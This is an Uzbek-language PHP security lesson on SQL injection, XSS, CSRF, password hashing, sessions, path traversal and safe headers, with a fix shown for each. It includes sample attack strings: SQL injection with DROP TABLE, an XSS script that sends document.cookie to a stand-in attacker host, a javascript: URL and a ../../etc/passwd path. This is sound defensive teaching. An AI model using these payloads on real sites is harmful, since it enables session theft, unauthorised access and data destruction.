PHP xavfsizlik asoslari

PHP serverda ishlaydi va bazaga, fayllarga hamda foydalanuvchi ma’lumotiga tegadi. Bitta e’tiborsizlik butun bazani ochib qo’yishi mumkin. Bu darsda eng ko’p uchraydigan hujumlar va ularning aniq yechimlari.

Asosiy qoida

Foydalanuvchidan kelgan hamma narsa ishonchsiz

$_GET, $_POST, $_COOKIE, $_FILES, $_SERVER va tashqi API javobi — hammasi hujumchi tomonidan o’zgartirilishi mumkin.

Brauzerdagi tekshiruv (HTML required, JavaScript validatsiyasi) — faqat qulaylik. Hujumchi so’rovni to’g’ridan-to’g’ri yuboradi:

curl -X POST https://saytingiz.uz/api -d "yosh=-500"

Server har doim o’zi qayta tekshiradi.

1. SQL injection

Eng xavfli va eng keng tarqalgan zaiflik:

PHP

<?php
// Foydalanuvchi kiritgan "login"
$login = "admin' OR '1'='1";

$xavfli = "SELECT * FROM foydalanuvchilar WHERE login = '$login'";
echo "Hosil bo'lgan so'rov:\n  $xavfli\n\n";
echo "  → shart har doim rost — parolsiz kirish!\n\n";

$parol = "x'; DROP TABLE foydalanuvchilar; --";
echo "Yanada yomoni:\n";
echo "  ... WHERE parol = '$parol'";

Yechim — tayyorlangan so’rov:

// ✅ Qiymat SQL matniga qo'shilmaydi
$s = $pdo->prepare("SELECT * FROM foydalanuvchilar WHERE login = ?");
$s->execute([$login]);

Ustun yoki jadval nomi kerak bo’lsa — ruxsat etilgan ro’yxat:

PHP

<?php
function xavfsizUstun(?string $soralgan): string
{
  $ruxsat = ["ism", "sana", "ball"];
  return in_array($soralgan, $ruxsat, true) ? $soralgan : "ism";
}

foreach (["ball", "id; DROP TABLE t", null] as $s) {
  printf("%-22s → %s\n", $s ?? "(bo'sh)", xavfsizUstun($s));
}

2. XSS

Hujumchi sahifaga o’z JavaScript kodini kiritadi:

PHP

<?php
$izoh = '<script>fetch("https://hujumchi.uz?c="+document.cookie)</script>';

echo "Himoyasiz:\n";
echo "  <div>$izoh</div>\n\n";
echo "  → hujumchi cookie va sessiyani o'g'irlaydi\n\n";

echo "Himoya bilan:\n";
echo "  <div>", htmlspecialchars($izoh, ENT_QUOTES, "UTF-8"), "</div>";

Chiqishda tozalang, kirishda emas

htmlspecialchars ko’rsatish paytida qo’llaniladi, bazaga yozishda emas. Sabab: bir xil ma’lumot HTML, JSON va CSV’ga turlicha chiqadi.

echo htmlspecialchars($matn, ENT_QUOTES, "UTF-8");

ENT_QUOTES — bitta tirnoqni ham qamrab oladi (atribut ichida muhim).

Atribut va havolada alohida ehtiyot:

PHP

<?php
$manzil = "javascript:alert(document.cookie)";

function xavfsizHavola(string $url): string
{
  $tozalangan = filter_var($url, FILTER_VALIDATE_URL);
  if ($tozalangan === false) {
      return "#";
  }
  $sxema = parse_url($tozalangan, PHP_URL_SCHEME);
  return in_array($sxema, ["http", "https"], true) ? $tozalangan : "#";
}

foreach ([$manzil, "https://learncode.uz", "ftp://a.uz"] as $u) {
  printf("%-38s → %s\n", $u, xavfsizHavola($u));
}

3. CSRF

Yechim — har formada maxfiy token:

PHP

<?php
$_SESSION = [];

function tokenYasa(): string
{
  if (empty($_SESSION["csrf"])) {
      $_SESSION["csrf"] = bin2hex(random_bytes(32));
  }
  return $_SESSION["csrf"];
}

function tokenTekshir(?string $kelgan): bool
{
  if (empty($_SESSION["csrf"]) || empty($kelgan)) {
      return false;
  }
  // hash_equals — vaqt bo'yicha hujumdan himoya
  return hash_equals($_SESSION["csrf"], $kelgan);
}

$token = tokenYasa();
echo "Token: ", substr($token, 0, 20), "...\n\n";

var_dump(tokenTekshir($token));
var_dump(tokenTekshir("soxta-token"));
var_dump(tokenTekshir(null));

Formada:

<form method="post">
  <input type="hidden" name="csrf" value="<?= tokenYasa() ?>">
  <!-- qolgan maydonlar -->
</form>

Qabul qilishda:

if (!tokenTekshir($_POST["csrf"] ?? null)) {
    http_response_code(403);
    exit("So'rov rad etildi");
}

4. Parol saqlash

PHP

<?php
$parol = "MeningParolim123";

// ❌ Hech qachon
echo "md5:  ", md5($parol), "\n";
echo "sha1: ", sha1($parol), "\n";
echo "  → bu funksiyalar TEZ, shuning uchun buzish oson\n\n";

// ✅ To'g'ri usul
$hash = password_hash($parol, PASSWORD_DEFAULT);
echo "password_hash:\n  ", $hash, "\n\n";

var_dump(password_verify($parol, $hash));
var_dump(password_verify("NotogriParol", $hash));

// Har safar boshqacha hash — lekin ikkalasi ham to'g'ri
$hash2 = password_hash($parol, PASSWORD_DEFAULT);
echo "\nIkkinchi hash boshqacha: ", var_export($hash !== $hash2, true), "\n";
var_dump(password_verify($parol, $hash2));

Vaqti kelganda hashni yangilash:

if (password_verify($parol, $hash)) {
    if (password_needs_rehash($hash, PASSWORD_DEFAULT)) {
        $yangi = password_hash($parol, PASSWORD_DEFAULT);
        // bazada yangilash
    }
    // kirish muvaffaqiyatli
}

5. Sessiya xavfsizligi

<?php
// session_start() dan OLDIN
ini_set("session.cookie_httponly", "1");    // JavaScript o'qimasin
ini_set("session.cookie_secure", "1");      // faqat HTTPS
ini_set("session.cookie_samesite", "Lax");  // CSRF himoyasi
ini_set("session.use_strict_mode", "1");    // o'ylab topilgan id rad etilsin

session_start();

// Kirgandan keyin DARHOL
session_regenerate_id(true);

Sessiya darsida bu batafsil ko’rilgan.

6. Fayl yuklash

7. Fayl yo’li

PHP

<?php
$soralgan = "../../etc/passwd";

echo "Xavfli: /hujjatlar/" . $soralgan . "\n";
echo "  → papkadan chiqib ketdi\n\n";

echo "basename bilan: /hujjatlar/" . basename($soralgan) . "\n";

// Yanada ishonchli: ruxsat etilgan ro'yxat
$ruxsat = ["hisobot.pdf", "shartnoma.pdf"];
foreach (["hisobot.pdf", "../../etc/passwd"] as $f) {
  $natija = in_array($f, $ruxsat, true) ? "ruxsat" : "RAD ETILDI";
  printf("%-20s → %s\n", $f, $natija);
}

8. Xato xabarlari

PHP

<?php
function foydalanuvchiga(Throwable $e, bool $ishlab_chiqarish): string
{
  if ($ishlab_chiqarish) {
      // error_log($e->getMessage());  ← jurnalga yoziladi
      return "Xatolik yuz berdi. Keyinroq urinib ko'ring.";
  }
  return get_class($e) . ": " . $e->getMessage();
}

$xato = new RuntimeException(
  "SQLSTATE[28000] Access denied for user 'root'@'localhost' (parol: maxfiy123)"
);

echo "Ishlab chiqishda:\n  ", foydalanuvchiga($xato, false), "\n\n";
echo "Ishlab chiqarishda:\n  ", foydalanuvchiga($xato, true);

Ishlab chiqarish serverida:

ini_set("display_errors", "0");
ini_set("log_errors", "1");
error_reporting(E_ALL);

9. Sozlama fayllari

Maxfiy fayl internetga ochiq bo'lmasin

Loyiha tuzilishi shunday bo’lsin:

loyiha/
├── public/          ← FAQAT shu papka ochiq
│   └── index.php
├── src/
├── .env             ← parollar
└── composer.json

Server public/ ni “hujjat ildizi” qilib ko’rsatadi. Shunda https://sayt.uz/.env so’ralsa — hech narsa topilmaydi.

.env va vendor/ git’ga ham qo’shilmaydi.

10. HTTP sarlavhalari

<?php
header("X-Content-Type-Options: nosniff");
header("X-Frame-Options: DENY");
header("Referrer-Policy: strict-origin-when-cross-origin");
header("Content-Security-Policy: default-src 'self'");

Sarlavha	Nimadan himoya qiladi
`nosniff`	Brauzer fayl turini “taxmin” qilishidan
`X-Frame-Options: DENY`	Clickjacking (saytni iframe’ga solish)
`Referrer-Policy`	Manzildagi maxfiy ma’lumot sizib chiqishidan
`Content-Security-Policy`	XSS (qayerdan skript yuklash mumkinligi)

Va albatta — butun sayt HTTPS da.

Tekshiruv ro’yxati

Amaliy mashq

SQL injection misolini yozib, nega ishlashini tushuntiring;
htmlspecialchars ni olib tashlab, <script> yuboring;
CSRF token yasovchi va tekshiruvchi funksiya yozing;
password_hash va password_verify ni sinang;
hash_equals va === farqini tushuntiring;
xato xabarini ikki rejimda ko’rsating.

Qisqacha xulosa

Foydalanuvchidan kelgan hamma narsa ishonchsiz; server qayta tekshiradi.
SQL injection → tayyorlangan so’rov; ustun nomi → ruxsat etilgan ro’yxat.
XSS → chiqishda htmlspecialchars($m, ENT_QUOTES, "UTF-8").
CSRF → har formada token + hash_equals.
Parol → password_hash; md5/sha1 yaroqsiz.
Fayl yuklashda: yangi nom, haqiqiy tur, PHP bajarilmaydigan papka.
Xato matni foydalanuvchiga ko’rsatilmaydi — jurnalga yoziladi.
Maxfiy fayllar public/ dan tashqarida.

Keyingi darsda shablon va MVC — kodni toza tashkil qilish.